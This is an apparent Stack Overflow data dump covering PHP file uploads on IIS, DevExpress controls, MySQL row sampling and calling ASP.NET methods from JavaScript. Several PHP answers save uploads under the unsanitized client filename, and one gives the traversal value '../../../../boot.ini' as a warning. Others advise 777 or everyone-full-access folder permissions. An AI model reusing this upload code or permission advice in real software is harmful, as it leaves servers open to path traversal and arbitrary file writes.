"<p>Try adding a path. The following code works for me:</p>\n\n<pre><code>&lt;?php\n\nif ( !empty($_FILES['file']) ) {\n $from = $_FILES['file']['tmp_name'];\n $to = dirname(__FILE__).'/'.$_FILES['file']['name'];\n\n if( move_uploaded_file($from, $to) ){\n echo 'Success'; \n } else {\n echo 'Failure'; \n }\n\n header('Location: http://www.mywebsite.com/dump/');\n exit;\n}\n?&gt;\n</code></pre>\n" }, { "answer_id": 365455, "author": "jmucchiello", "author_id": 44065, "author_profile": "https://Stackoverflow.com/users/44065", "pm_score": 4, "selected": false, "text": "<p>OMG</p>\n\n<pre><code>move_uploaded_file($_FILES['file']['tmp_name'], './' . $_FILES['file']['name']);\n</code></pre>\n\n<p>Don't do that. <code>$_FILES['file']['name']</code> could be <code>../../../../boot.ini</code> or any number of bad things. You should never trust this name. You should rename the file something else and associate the original name with your random name. At a minimum use <code>basename($_FILES['file']['name'])</code>.</p>\n" }, { "answer_id": 542368, "author": "rupert0", "author_id": 42060, "author_profile": "https://Stackoverflow.com/users/42060", "pm_score": 1, "selected": false, "text": "<p>Another think to observe is your directory separator, you are using / in a Windows box..</p>\n" }, { "answer_id": 1837584, "author": "sameer", "author_id": 223516, "author_profile": "https://Stackoverflow.com/users/223516", "pm_score": 1, "selected": false, "text": "<p>Add the IIS user in the 'dump' folders security persmissions group, and give it read/write access.</p>\n" }, { "answer_id": 13416957, "author": "Soumya Roy", "author_id": 1829575, "author_profile": "https://Stackoverflow.com/users/1829575", "pm_score": 0, "selected": false, "text": "<p>Create a folder named \"image\" with folder permission <code>777</code></p>\n\n<pre><code>&lt;?php\n move_uploaded_file($_FILES['file']['tmp_name'],\"image/\".$_FILES['file']['name']);\n?&gt;\n</code></pre>\n" }, { "answer_id": 59200854, "author": "Rod Fuller", "author_id": 12487347, "author_profile": "https://Stackoverflow.com/users/12487347", "pm_score": 0, "selected": false, "text": "<p>We found using below path</p>\n\n<p><code>{['DOCUMENT_ROOT'] + 'path to folder'</code> </p>\n\n<p>and giving everyone full access to the folder resolved the issue. </p>\n\n<p>Make sure to not reveal the location in the address bar. No sense in giving the location away.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3611", "https://Stackoverflow.com", "https://Stackoverflow.com/users/402/" ]
I'm trying to write some PHP to upload a file to a folder on my webserver. Here's what I have: ``` <?php if ( !empty($_FILES['file']['tmp_name']) ) { move_uploaded_file($_FILES['file']['tmp_name'], './' . $_FILES['file']['name']); header('Location: http://www.mywebsite.com/dump/'); exit; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html> <head> <title>Dump Upload</title> </head> <body> <h1>Upload a File</h1> <form action="upload.php" enctype="multipart/form-data" method="post"> <input type="hidden" name="MAX_FILE_SIZE" value="1000000000" /> Select the File:<br /><input type="file" name="file" /><br /> <input type="submit" value="Upload" /> </form> </body> </html> ``` I'm getting these errors: > > Warning: move\_uploaded\_file(./test.txt) [function.move-uploaded-file]: failed to open stream: Permission denied in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 3 > > > Warning: move\_uploaded\_file() [function.move-uploaded-file]: Unable to move 'C:\WINDOWS\Temp\phpA30E.tmp' to './test.txt' in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 3 > > > Warning: Cannot modify header information - headers already sent by (output started at E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php:3) in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 4 > > > PHP version 4.4.7 Running IIS on a Windows box. This particular file/folder has 777 permissions. Any ideas?
As it's Windows, there is no real 777. If you're using [chmod](http://fr2.php.net/manual/en/function.chmod.php), check the Windows-related comments. Check that the IIS Account can access (read, write, modify) these two folders: ``` E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\ C:\WINDOWS\Temp\ ```
3,625
<p>I can't seem to find Developer Express' version of the <code>LinkButton</code>. (The Windows Forms linkbutton, not the <code>ASP.NET</code> linkbutton.) <code>HyperLinkEdit</code> doesn't seem to be what I'm looking for since it looks like a TextEdit/TextBox.</p> <p>Anyone know what their version of it is? I'm using the latest DevX controls: 8.2.1.</p>
[ { "answer_id": 3785, "author": "Greg Hurlman", "author_id": 35, "author_profile": "https://Stackoverflow.com/users/35", "pm_score": 0, "selected": false, "text": "<p>You should probably just use the standard ASP.Net LinkButton, unless it's really missing something you need.</p>\n" }, { "answer_id": 102129, "author": "Josh Kodroff", "author_id": 549, "author_profile": "https://Stackoverflow.com/users/549", "pm_score": 3, "selected": true, "text": "<p>The control is called the HyperLinkEdit. You have to adjust the properties to get it to behave like the System.Windows.Forms control like so:</p>\n\n<pre><code> control.BorderStyle = BorderStyles.NoBorder;\n control.Properties.Appearance.BackColor = Color.Transparent;\n control.Properties.AppearanceFocused.BackColor = Color.Transparent;\n control.Properties.ReadOnly = true;\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3625", "https://Stackoverflow.com", "https://Stackoverflow.com/users/549/" ]
I can't seem to find Developer Express' version of the `LinkButton`. (The Windows Forms linkbutton, not the `ASP.NET` linkbutton.) `HyperLinkEdit` doesn't seem to be what I'm looking for since it looks like a TextEdit/TextBox. Anyone know what their version of it is? I'm using the latest DevX controls: 8.2.1.
The control is called the HyperLinkEdit. You have to adjust the properties to get it to behave like the System.Windows.Forms control like so: ``` control.BorderStyle = BorderStyles.NoBorder; control.Properties.Appearance.BackColor = Color.Transparent; control.Properties.AppearanceFocused.BackColor = Color.Transparent; control.Properties.ReadOnly = true; ```
3,682
<p>I have a MySQL table with approximately 3000 rows per user. One of the columns is a datetime field, which is mutable, so the rows aren't in chronological order.</p> <p>I'd like to visualize the time distribution in a chart, so I need a number of individual datapoints. 20 datapoints would be enough.</p> <p>I could do this:</p> <pre><code>select timefield from entries where uid = ? order by timefield; </code></pre> <p>and look at every 150th row.</p> <p>Or I could do 20 separate queries and use <code>limit 1</code> and <code>offset</code>. </p> <p>But there must be a more efficient solution...</p>
[ { "answer_id": 3691, "author": "Michal Sznajder", "author_id": 501, "author_profile": "https://Stackoverflow.com/users/501", "pm_score": 1, "selected": false, "text": "<p>Something like this came to my mind</p>\n\n<pre><code>select @rownum:=@rownum+1 rownum, entries.* \nfrom (select @rownum:=0) r, entries \nwhere uid = ? and rownum % 150 = 0\n</code></pre>\n\n<p>I don't have MySQL at my hand but maybe this will help ...</p>\n" }, { "answer_id": 3775, "author": "Ryan Ahearn", "author_id": 75, "author_profile": "https://Stackoverflow.com/users/75", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://stackoverflow.com/questions/3682/sql-distribution-of-table-in-time#3691\">@Michal</a></p>\n\n<p>For whatever reason, your example only works when the where @recnum uses a less than operator. I think when the where filters out a row, the rownum doesn't get incremented, and it can't match anything else.</p>\n\n<p>If the original table has an auto incremented id column, and rows were inserted in chronological order, then this should work:</p>\n\n<pre><code>select timefield from entries\nwhere uid = ? and id % 150 = 0 order by timefield;\n</code></pre>\n\n<p>Of course that doesn't work if there is no correlation between the id and the timefield, unless you don't actually care about getting evenly spaced timefields, just 20 random ones.</p>\n" }, { "answer_id": 30562, "author": "Scott Noyes", "author_id": 3254, "author_profile": "https://Stackoverflow.com/users/3254", "pm_score": 0, "selected": false, "text": "<p>Do you really care about the individual data points? Or will using the statistical aggregate functions on the day number instead suffice to tell you what you wish to know?</p>\n\n<ul>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_avg\" rel=\"nofollow noreferrer\">AVG</a></li>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_stddev-pop\" rel=\"nofollow noreferrer\" title=\"STDDEV_POP\">STDDEV_POP</a></li>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_variance\" rel=\"nofollow noreferrer\" title=\"VARIANCE\">VARIANCE</a></li>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_to-days\" rel=\"nofollow noreferrer\" title=\"TO_DAYS\">TO_DAYS</a></li>\n</ul>\n" }, { "answer_id": 30600, "author": "jason saldo", "author_id": 1293, "author_profile": "https://Stackoverflow.com/users/1293", "pm_score": 0, "selected": false, "text": "<pre><code>select timefield\nfrom entries\nwhere rand() = .01 --will return 1% of rows adjust as needed.\n</code></pre>\n\n<p>Not a mysql expert so I'm not sure how rand() operates in this environment.</p>\n" }, { "answer_id": 155901, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 4, "selected": true, "text": "<p>Michal Sznajder almost had it, but you can't use column aliases in a WHERE clause in SQL. So you have to wrap it as a derived table. I tried this and it returns 20 rows:</p>\n\n<pre><code>SELECT * FROM (\n SELECT @rownum:=@rownum+1 AS rownum, e.*\n FROM (SELECT @rownum := 0) r, entries e) AS e2\nWHERE uid = ? AND rownum % 150 = 0;\n</code></pre>\n" }, { "answer_id": 155951, "author": "Cade Roux", "author_id": 18255, "author_profile": "https://Stackoverflow.com/users/18255", "pm_score": 1, "selected": false, "text": "<p>As far as visualization, I know this is not the periodic sampling you are talking about, but I would look at all the rows for a user and choose an interval bucket, SUM within the buckets and show on a bar graph or similar. This would show a real \"distribution\", since many occurrences within a time frame may be significant.</p>\n\n<pre><code>SELECT DATEADD(day, DATEDIFF(day, 0, timefield), 0) AS bucket -- choose an appropriate granularity (days used here)\n ,COUNT(*)\nFROM entries\nWHERE uid = ?\nGROUP BY DATEADD(day, DATEDIFF(day, 0, timefield), 0)\nORDER BY DATEADD(day, DATEDIFF(day, 0, timefield), 0)\n</code></pre>\n\n<p>Or if you don't like the way you have to repeat yourself - or if you are playing with different buckets and want to analyze across many users in 3-D (measure in Z against x, y uid, bucket):</p>\n\n<pre><code>SELECT uid\n ,bucket\n ,COUNT(*) AS measure\nFROM (\n SELECT uid\n ,DATEADD(day, DATEDIFF(day, 0, timefield), 0) AS bucket\n FROM entries\n) AS buckets\nGROUP BY uid\n ,bucket\nORDER BY uid\n ,bucket\n</code></pre>\n\n<p>If I wanted to plot in 3-D, I would probably determine a way to order users according to some meaningful overall metric for the user.</p>\n" }, { "answer_id": 22067305, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 0, "selected": false, "text": "<p>For my reference - and for those using postgres - Postgres 9.4 will have ordered set aggregates that should solve this problem:</p>\n\n<pre><code>SELECT percentile_disc(0.95) \nWITHIN GROUP (ORDER BY response_time) \nFROM pageviews;\n</code></pre>\n\n<p>Source: <a href=\"http://www.craigkerstiens.com/2014/02/02/Examining-PostgreSQL-9.4/\" rel=\"nofollow noreferrer\">http://www.craigkerstiens.com/2014/02/02/Examining-PostgreSQL-9.4/</a></p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3682", "https://Stackoverflow.com", "https://Stackoverflow.com/users/136/" ]
I have a MySQL table with approximately 3000 rows per user. One of the columns is a datetime field, which is mutable, so the rows aren't in chronological order. I'd like to visualize the time distribution in a chart, so I need a number of individual datapoints. 20 datapoints would be enough. I could do this: ``` select timefield from entries where uid = ? order by timefield; ``` and look at every 150th row. Or I could do 20 separate queries and use `limit 1` and `offset`. But there must be a more efficient solution...
Michal Sznajder almost had it, but you can't use column aliases in a WHERE clause in SQL. So you have to wrap it as a derived table. I tried this and it returns 20 rows: ``` SELECT * FROM ( SELECT @rownum:=@rownum+1 AS rownum, e.* FROM (SELECT @rownum := 0) r, entries e) AS e2 WHERE uid = ? AND rownum % 150 = 0; ```
3,713
<p>I'm writing a web page in ASP.NET. I have some JavaScript code, and I have a submit button with a click event.</p> <p>Is it possible to call a method I created in ASP with JavaScript's click event?</p>
[ { "answer_id": 3726, "author": "brendan", "author_id": 225, "author_profile": "https://Stackoverflow.com/users/225", "pm_score": 4, "selected": false, "text": "<p>You can do it asynchronously using .NET Ajax PageMethods. See <a href=\"http://web.archive.org/web/20170818234231/http://www.singingeels.com:80/Articles/Using_Page_Methods_in_ASPNET_AJAX.aspx\" rel=\"nofollow noreferrer\">here</a> or <a href=\"http://weblogs.asp.net/sohailsayed/archive/2008/02/23/calling-methods-in-a-codebehind-function-pagemethods-from-client-side-using-ajax-net.aspx\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 3752, "author": "EndangeredMassa", "author_id": 106, "author_profile": "https://Stackoverflow.com/users/106", "pm_score": 4, "selected": false, "text": "<p>The <a href=\"http://www.asp.net/ajax/\" rel=\"noreferrer\">Microsoft AJAX library</a> will accomplish this. You could also create your own solution that involves using AJAX to call your own aspx (as basically) script files to run .NET functions.</p>\n\n<p>I suggest the Microsoft AJAX library. Once installed and referenced, you just add a line in your page load or init:</p>\n\n<pre><code>Ajax.Utility.RegisterTypeForAjax(GetType(YOURPAGECLASSNAME))\n</code></pre>\n\n<p>Then you can do things like:</p>\n\n<pre><code>&lt;Ajax.AjaxMethod()&gt; _\nPublic Function Get5() AS Integer\n Return 5\nEnd Function\n</code></pre>\n\n<p>Then, you can call it on your page as:</p>\n\n<pre><code>PageClassName.Get5(javascriptCallbackFunction);\n</code></pre>\n\n<p>The last parameter of your function call must be the javascript callback function that will be executed when the AJAX request is returned.</p>\n" }, { "answer_id": 3777, "author": "Adhip Gupta", "author_id": 384, "author_profile": "https://Stackoverflow.com/users/384", "pm_score": 8, "selected": true, "text": "<p>Well, if you don't want to do it using Ajax or any other way and just want a normal ASP.NET postback to happen, here is how you do it (without using any other libraries):</p>\n\n<p><em>It is a little tricky though... :)</em></p>\n\n<p>i. In your code file (assuming you are using C# and .NET 2.0 or later) add the following Interface to your Page class to make it look like</p>\n\n<pre><code>public partial class Default : System.Web.UI.Page, IPostBackEventHandler{}\n</code></pre>\n\n<p>ii. This should add (using <kbd>Tab</kbd>-<kbd>Tab</kbd>) this function to your code file:</p>\n\n<pre><code>public void RaisePostBackEvent(string eventArgument) { }\n</code></pre>\n\n<p>iii. In your onclick event in JavaScript, write the following code:</p>\n\n<pre><code>var pageId = '&lt;%= Page.ClientID %&gt;';\n__doPostBack(pageId, argumentString);\n</code></pre>\n\n<p>This will call the 'RaisePostBackEvent' method in your code file with the 'eventArgument' as the 'argumentString' you passed from the JavaScript. Now, you can call any other event you like.</p>\n\n<p>P.S: That is 'underscore-underscore-doPostBack' ... And, there should be no space in that sequence... Somehow the WMD does not allow me to write to underscores followed by a character!</p>\n" }, { "answer_id": 8045, "author": "Lars Mæhlum", "author_id": 960, "author_profile": "https://Stackoverflow.com/users/960", "pm_score": 1, "selected": false, "text": "<p>You might want to create a web service for your common methods.<br>\nJust add a WebMethodAttribute over the functions you want to call, and that's about it.<br>\nHaving a web service with all your common stuff also makes the system easier to maintain.</p>\n" }, { "answer_id": 8096, "author": "mbillard", "author_id": 810, "author_profile": "https://Stackoverflow.com/users/810", "pm_score": 6, "selected": false, "text": "<p>The <code>__doPostBack()</code> method works well.</p>\n\n<p>Another solution (very hackish) is to simply add an invisible ASP button in your markup and click it with a JavaScript method.</p>\n\n<pre><code>&lt;div style=\"display: none;\"&gt;\n &lt;asp:Button runat=\"server\" ... OnClick=\"ButtonClickHandlerMethod\" /&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>From your JavaScript, retrieve the reference to the button using its <em>ClientID</em> and then call the <em>.click()</em> method on it.</p>\n\n<pre><code>var button = document.getElementById(/* button client id */);\n\nbutton.click();\n</code></pre>\n" }, { "answer_id": 26453, "author": "David Basarab", "author_id": 2469, "author_profile": "https://Stackoverflow.com/users/2469", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>The Microsoft AJAX library will accomplish this. You could also create your own solution that involves using AJAX to call your own aspx (as basically) script files to run .NET functions.</p>\n</blockquote>\n\n<p>This is the library called AjaxPro which was written an MVP named <a href=\"http://weblogs.asp.net/mschwarz/about.aspx\" rel=\"nofollow noreferrer\">Michael Schwarz</a>. This was library was not written by Microsoft.</p>\n\n<p>I have used AjaxPro extensively, and it is a very nice library, that I would recommend for simple callbacks to the server. It does function well with the Microsoft version of Ajax with no issues. However, I would note, with how easy Microsoft has made Ajax, I would only use it if really necessary. It takes a lot of JavaScript to do some really complicated functionality that you get from Microsoft by just dropping it into an update panel.</p>\n" }, { "answer_id": 2802366, "author": "Ananda", "author_id": 328911, "author_profile": "https://Stackoverflow.com/users/328911", "pm_score": -1, "selected": false, "text": "<p>This reply works like a breeze for me thanks cross browser:</p>\n\n<blockquote>\n <p>The __doPostBack() method works well.</p>\n</blockquote>\n\n<p>Another solution (very hackish) is to simply add an invisible ASP button in your markup and click it with a JavaScript method.</p>\n\n<pre><code>&lt;div style=\"display: none;\"&gt; \n &lt;asp:Button runat=\"server\" ... OnClick=\"ButtonClickHandlerMethod\" /&gt; \n&lt;/div&gt; \n</code></pre>\n\n<p>From your JavaScript, retrieve the reference to the button using its ClientID and then call the .Click() method on it:</p>\n\n<pre><code>var button = document.getElementByID(/* button client id */); \n\nbutton.Click(); \n</code></pre>\n\n<blockquote>\n <p>Blockquote</p>\n</blockquote>\n" }, { "answer_id": 3577148, "author": "Ricardo stands with Ukraine", "author_id": 364568, "author_profile": "https://Stackoverflow.com/users/364568", "pm_score": 1, "selected": false, "text": "<p>If the __doPostBack function is not generated on the page you need to insert a control to force it like this:</p>\n\n<pre><code>&lt;asp:Button ID=\"btnJavascript\" runat=\"server\" UseSubmitBehavior=\"false\" /&gt;\n</code></pre>\n" }, { "answer_id": 4977299, "author": "David", "author_id": 365789, "author_profile": "https://Stackoverflow.com/users/365789", "pm_score": 0, "selected": false, "text": "<p>Add this line to page load if you are getting object expected error.</p>\n\n<pre><code>ClientScript.GetPostBackEventReference(this, \"\");\n</code></pre>\n" }, { "answer_id": 6354219, "author": "kakani santosh", "author_id": 799094, "author_profile": "https://Stackoverflow.com/users/799094", "pm_score": 0, "selected": false, "text": "<p>You can use <code>PageMethods.Your C# method Name</code> in order to access C# methods or VB.NET methods into JavaScript.</p>\n" }, { "answer_id": 7040311, "author": "Behnam Esmaili", "author_id": 891794, "author_profile": "https://Stackoverflow.com/users/891794", "pm_score": 2, "selected": false, "text": "<p>It is so easy for both scenarios (that is, synchronous/asynchronous) if you want to trigger a server-side event handler, for example, Button's click event.</p>\n\n<p>For triggering an event handler of a control:\nIf you added a ScriptManager on your page already then skip step 1.</p>\n\n<ol>\n<li><p>Add the following in your page client script section</p>\n\n<pre><code>//&lt;![CDATA[\nvar theForm = document.forms['form1'];\nif (!theForm) {\n theForm = document.form1;\n}\nfunction __doPostBack(eventTarget, eventArgument) {\n if (!theForm.onsubmit || (theForm.onsubmit() != false)) {\n theForm.__EVENTTARGET.value = eventTarget;\n theForm.__EVENTARGUMENT.value = eventArgument;\n theForm.submit();\n }\n}\n//]]&gt;\n</code></pre>\n\n<ol start=\"2\">\n<li><p>Write you server side event handler for your control</p>\n\n<p>protected void btnSayHello_Click(object sender, EventArgs e)\n{\n Label1.Text = \"Hello World...\";\n}</p></li>\n<li><p>Add a client function to call the server side event handler</p>\n\n<p>function SayHello() {\n __doPostBack(\"btnSayHello\", \"\");\n}</p></li>\n</ol></li>\n</ol>\n\n<p>Replace the \"btnSayHello\" in code above with your control's client id.</p>\n\n<p>By doing so, if your control is inside an update panel, the page will not refresh. That is so easy.</p>\n\n<p>One other thing to say is that: Be careful with client id, because it depends on you ID-generation policy defined with the ClientIDMode property.</p>\n" }, { "answer_id": 11013093, "author": "Despertar", "author_id": 1160036, "author_profile": "https://Stackoverflow.com/users/1160036", "pm_score": 2, "selected": false, "text": "<p>Static, strongly-typed programming has always felt very natural to me, so at first I resisted learning JavaScript (not to mention HTML and CSS) when I had to build web-based front-ends for my applications. I would do anything to work around this like redirecting to a page just to perform and action on the OnLoad event, as long as I could code pure C#.</p>\n\n<p>You will find however that if you are going to be working with websites, you must have an open mind and start thinking more web-oriented (that is, don't try to do client-side things on the server and vice-versa). I love ASP.NET webforms and still use it (as well as <a href=\"http://en.wikipedia.org/wiki/ASP.NET_MVC_Framework\" rel=\"nofollow noreferrer\">MVC</a>), but I will say that by trying to make things simpler and hiding the separation of client and server it can confuse newcomers and actually end up making things more difficult at times.</p>\n\n<p>My advice is to learn some basic JavaScript (how to register events, retrieve DOM objects, manipulate CSS, etc.) and you will find web programming much more enjoyable (not to mention easier). A lot of people mentioned different Ajax libraries, but I didn't see any actual Ajax examples, so here it goes. (If you are not familiar with Ajax, all it is, is making an asynchronous HTTP request to refresh content (or perhaps perform a server-side action in your scenario) without reloading the entire page or doing a full postback.</p>\n\n<p><strong>Client-Side:</strong></p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\nvar xmlhttp = new XMLHttpRequest(); // Create object that will make the request\nxmlhttp.open(\"GET\", \"http://example.org/api/service\", \"true\"); // configure object (method, URL, async)\nxmlhttp.send(); // Send request\n\nxmlhttp.onstatereadychange = function() { // Register a function to run when the state changes, if the request has finished and the stats code is 200 (OK). Write result to &lt;p&gt;\n if (xmlhttp.readyState == 4 &amp;&amp; xmlhttp.statsCode == 200) {\n document.getElementById(\"resultText\").innerHTML = xmlhttp.responseText;\n }\n};\n&lt;/script&gt;\n</code></pre>\n\n<p>That's it. Although the name can be misleading the result can be in plain text or JSON as well, you are not limited to XML. <a href=\"http://en.wikipedia.org/wiki/JQuery\" rel=\"nofollow noreferrer\">jQuery</a> provides an even simpler interface for making Ajax calls (among simplifying other JavaScript tasks).</p>\n\n<p>The request can be an HTTP-POST or HTTP-GET and does not have to be to a webpage, but you can post to any service that listens for HTTP requests such as a <a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#RESTful_web_services\" rel=\"nofollow noreferrer\">RESTful</a> API. The ASP.NET MVC 4 Web API makes setting up the server-side web service to handle the request a breeze as well. But many people do not know that you can also add API controllers to web forms project and use them to handle Ajax calls like this.</p>\n\n<p><strong>Server-Side:</strong></p>\n\n<pre><code>public class DataController : ApiController\n{\n public HttpResponseMessage&lt;string[]&gt; Get()\n {\n HttpResponseMessage&lt;string[]&gt; response = new HttpResponseMessage&lt;string[]&gt;(\n Repository.Get(true),\n new MediaTypeHeaderValue(\"application/json\")\n );\n\n return response;\n }\n}\n</code></pre>\n\n<p><strong>Global.asax</strong></p>\n\n<p>Then just register the HTTP route in your Global.asax file, so ASP.NET will know how to direct the request.</p>\n\n<pre><code>void Application_Start(object sender, EventArgs e)\n{\n RouteTable.Routes.MapHttpRoute(\"Service\", \"api/{controller}/{id}\");\n}\n</code></pre>\n\n<p>With AJAX and Controllers, you can post back to the server at any time asynchronously to perform any server side operation. This one-two punch provides both the flexibility of JavaScript and the power the C# / ASP.NET, giving the people visiting your site a better overall experience. Without sacrificing anything, you get the best of both worlds.</p>\n\n<p><strong>References</strong></p>\n\n<ul>\n<li><a href=\"http://www.w3schools.com/ajax/default.asp\" rel=\"nofollow noreferrer\">Ajax</a>,</li>\n<li><a href=\"http://www.w3schools.com/jquery/jquery_ajax.asp\" rel=\"nofollow noreferrer\">jQuery Ajax</a>,</li>\n<li><a href=\"http://www.asp.net/web-api/overview/hosting-aspnet-web-api/using-web-api-with-aspnet-web-forms\" rel=\"nofollow noreferrer\">Controller in Webforms</a></li>\n</ul>\n" }, { "answer_id": 15403629, "author": "Robin", "author_id": 2042366, "author_profile": "https://Stackoverflow.com/users/2042366", "pm_score": 0, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>if(!ClientScript.IsStartupScriptRegistered(\"window\"))\n{\n Page.ClientScript.RegisterStartupScript(this.GetType(), \"window\", \"pop();\", true);\n}\n</code></pre>\n\n<p>Or this</p>\n\n<pre><code>Response.Write(\"&lt;script&gt;alert('Hello World');&lt;/script&gt;\");\n</code></pre>\n\n<p>Use the OnClientClick property of the button to call JavaScript functions...</p>\n" }, { "answer_id": 19113786, "author": "The Hungry Dictator", "author_id": 2763709, "author_profile": "https://Stackoverflow.com/users/2763709", "pm_score": 0, "selected": false, "text": "<p>You can also get it by just adding this line in your JavaScript code:</p>\n\n<pre><code>document.getElementById('&lt;%=btnName.ClientID%&gt;').click()\n</code></pre>\n\n<p>I think this one is very much easy!</p>\n" }, { "answer_id": 19939808, "author": "davrob01", "author_id": 1839956, "author_profile": "https://Stackoverflow.com/users/1839956", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>I'm trying to implement this but it's not working right. The page is\n posting back, but my code isn't getting executed. When i debug the\n page, the RaisePostBackEvent never gets fired. One thing i did\n differently is I'm doing this in a user control instead of an aspx\n page.</p>\n</blockquote>\n\n<p>If anyone else is like Merk, and having trouble over coming this, I have a solution:</p>\n\n<p>When you have a user control, it seems you must also create the PostBackEventHandler in the parent page. And then you can invoke the user control's PostBackEventHandler by calling it directly. See below:</p>\n\n<pre><code>public void RaisePostBackEvent(string _arg)\n{\n UserControlID.RaisePostBackEvent(_arg);\n}\n</code></pre>\n\n<p>Where UserControlID is the ID you gave the user control on the parent page when you nested it in the mark up.</p>\n\n<p>Note: You can also simply just call methods belonging to that user control directly (in which case, you would only need the RaisePostBackEvent handler in the parent page):</p>\n\n<pre><code>public void RaisePostBackEvent(string _arg)\n{\n UserControlID.method1();\n UserControlID.method2();\n}\n</code></pre>\n" }, { "answer_id": 23781882, "author": "SRV", "author_id": 3660574, "author_profile": "https://Stackoverflow.com/users/3660574", "pm_score": 3, "selected": false, "text": "<p>I think blog post <em><a href=\"http://www.dotnetawesome.com/2013/12/how-to-fetch-show-sql-server-database-data-using-ajax-jquey.html\" rel=\"nofollow noreferrer\">How to fetch &amp; show SQL Server database data in ASP.NET page using Ajax (jQuery)</a></em> will help you.</p>\n\n<p><strong>JavaScript Code</strong></p>\n\n<pre><code>&lt;script src=\"http://code.jquery.com/jquery-3.3.1.js\" /&gt;\n&lt;script language=\"javascript\" type=\"text/javascript\"&gt;\n\n function GetCompanies() {\n $(\"#UpdatePanel\").html(\"&lt;div style='text-align:center; background-color:yellow; border:1px solid red; padding:3px; width:200px'&gt;Please Wait...&lt;/div&gt;\");\n $.ajax({\n type: \"POST\",\n url: \"Default.aspx/GetCompanies\",\n data: \"{}\",\n dataType: \"json\",\n contentType: \"application/json; charset=utf-8\",\n success: OnSuccess,\n error: OnError\n });\n }\n\n function OnSuccess(data) {\n var TableContent = \"&lt;table border='0'&gt;\" +\n \"&lt;tr&gt;\" +\n \"&lt;td&gt;Rank&lt;/td&gt;\" +\n \"&lt;td&gt;Company Name&lt;/td&gt;\" +\n \"&lt;td&gt;Revenue&lt;/td&gt;\" +\n \"&lt;td&gt;Industry&lt;/td&gt;\" +\n \"&lt;/tr&gt;\";\n for (var i = 0; i &lt; data.d.length; i++) {\n TableContent += \"&lt;tr&gt;\" +\n \"&lt;td&gt;\"+ data.d[i].Rank +\"&lt;/td&gt;\" +\n \"&lt;td&gt;\"+data.d[i].CompanyName+\"&lt;/td&gt;\" +\n \"&lt;td&gt;\"+data.d[i].Revenue+\"&lt;/td&gt;\" +\n \"&lt;td&gt;\"+data.d[i].Industry+\"&lt;/td&gt;\" +\n \"&lt;/tr&gt;\";\n }\n TableContent += \"&lt;/table&gt;\";\n\n $(\"#UpdatePanel\").html(TableContent);\n }\n\n function OnError(data) {\n\n }\n&lt;/script&gt;\n</code></pre>\n\n<p><strong>ASP.NET Server Side Function</strong></p>\n\n<pre><code>[WebMethod]\n[ScriptMethod(ResponseFormat= ResponseFormat.Json)]\npublic static List&lt;TopCompany&gt; GetCompanies()\n{\n System.Threading.Thread.Sleep(5000);\n List&lt;TopCompany&gt; allCompany = new List&lt;TopCompany&gt;();\n using (MyDatabaseEntities dc = new MyDatabaseEntities())\n {\n allCompany = dc.TopCompanies.ToList();\n }\n return allCompany;\n}\n</code></pre>\n" }, { "answer_id": 27164392, "author": "KDJ", "author_id": 3889892, "author_profile": "https://Stackoverflow.com/users/3889892", "pm_score": 1, "selected": false, "text": "<p>Regarding:</p>\n\n<pre><code>var button = document.getElementById(/* Button client id */);\n\nbutton.click();\n</code></pre>\n\n<p>It should be like:</p>\n\n<pre><code>var button = document.getElementById('&lt;%=formID.ClientID%&gt;');\n</code></pre>\n\n<p>Where formID is the ASP.NET control ID in the .aspx file.</p>\n" }, { "answer_id": 35812420, "author": "Sumit Kumar", "author_id": 6021773, "author_profile": "https://Stackoverflow.com/users/6021773", "pm_score": 0, "selected": false, "text": "<p>Please try this:</p>\n\n<pre><code>&lt;%= Page.ClientScript.GetPostBackEventReference(ddlVoucherType, String.Empty) %&gt;;\n</code></pre>\n\n<p>ddlVoucherType is a control which the selected index change will call... And you can put any function on the selected index change of this control.</p>\n" }, { "answer_id": 40970986, "author": "6134548", "author_id": 6134548, "author_profile": "https://Stackoverflow.com/users/6134548", "pm_score": 0, "selected": false, "text": "<p>The simplest and best way to achieve this is to use the <code>onmouseup()</code> JavaScript event rather than <code>onclick()</code></p>\n\n<p>That way you will fire JavaScript after you click and it won't interfere with the ASP <code>OnClick()</code> event.</p>\n" }, { "answer_id": 42817465, "author": "Bengi Besçeli", "author_id": 1136253, "author_profile": "https://Stackoverflow.com/users/1136253", "pm_score": 0, "selected": false, "text": "<p>I try this and so I could run an Asp.Net method while using jQuery.</p>\n\n<ol>\n<li><p>Do a page redirect in your jQuery code</p>\n\n<pre><code>window.location = \"Page.aspx?key=1\";\n</code></pre></li>\n<li><p>Then use a Query String in Page Load</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n if (Request.QueryString[\"key\"] != null)\n {\n string key= Request.QueryString[\"key\"];\n if (key==\"1\")\n {\n // Some code\n }\n }\n}\n</code></pre></li>\n</ol>\n\n<p>So no need to run an extra code</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3713", "https://Stackoverflow.com", "https://Stackoverflow.com/users/557/" ]
